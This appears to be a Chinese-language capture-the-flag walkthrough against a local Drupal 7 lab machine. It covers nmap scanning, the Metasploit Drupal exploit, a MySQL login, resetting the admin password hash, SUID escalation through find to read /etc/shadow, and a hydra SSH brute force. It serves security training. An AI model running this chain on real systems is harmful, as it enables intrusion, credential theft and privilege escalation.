在本地渗透前要确保攻击机和目的机同时使用桥接模式或NAT模式
找ip
nmap扫描存活ip
nmap 192.168.162.1/24
在现实环境中要考虑实际情况
在这里可以看到一个ip开了22和80端口,猜测ip2是目的IP
找端口
对该IP进行端口和版本信息扫描
nmap -sV -P 192.168.162.137
这里要爆破22ssh端口的话会考虑字典实用性,直接访问80端口
收集指纹
先进行信息收集查看是什莫cms等
网上直接搜索drupal 7版本cms漏洞
直接找能拿shell的poc或exp
这里我找了网上的poc都失败了,都是翻译的国外文章,所以这里我们用kali自带的msf
msf自带payload攻击
启动msf
msfconsole
搜索该cms
search Drupal
利用cve2018
查看哪些需要设置
show options
设置RHOSTS为目的机ip
set RHOSTS 192.168.162.137
直接攻击
expolit
出现meter时表示成功
这里查看不了自己的权限等级
先看看有哪些文件
这里出现了flag1.txt文件,直接查看
cat flag1.txt
这里说每一个好的CMS都需要一个配置文件,言外之意就是直接找该cms的配置文件,网上搜drupal的配置文件
这里搜索seething.php
find / -name settings*
但是我这里搜索失败了
根据网上配置路径一层一层来
cd sites
cd default
查看配置文件
cat settings.php
看到了flag2,说的是 暴力破解和字典攻击不是只有获得访问权限的方法(你将需要访问权限),你能用这些证书做什么? 可以看到这里给出了数据库账号密码
这里我不知道为什莫利用msf获取的普通shell没法做很多事情,所以这里在攻击成功后使用交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
直接登入数据库
mysql -udbuser -pR0ck3t
利用mysql语法可以看到有个user表
密码被加密了,直接网上查找drupal 7加密脚本
直接查看该脚本
找到了不会用直接网上搜
php /var/www/scripts/password-hash.sh 1234
得到我们想改的密码了
直接改掉admin用户密码
update drupaldb.users set pass="$S$DiRRbIgWLt5lMDxVJUpKBjjbUpd3iQcn0jVwD.YEV2JtmxyBUH35" where name="admin";
更改成功后直接网页登录
查看flag3
这里应该是找/etc/passwd和/etc/shadow
找到flag4
提权
看shadow时权限不够,那就提权,不会那就网上搜
这里我们用suid
find / -perm -u=s -type f 2>/dev/null
创建个文件ttt
touch ttt
提权成功
查看flag4的密码
find ttt cat /etc/shadow \;
$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWCKxVW80
直接解密远程登录该用户,解密有点难度还是利用九头蛇爆破密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.162.137
成功爆破出
远程登录
ssh flag4@192.168.162.137
找到flag4
说在root目录里,前面我们已经提权了,直接进入
查看flag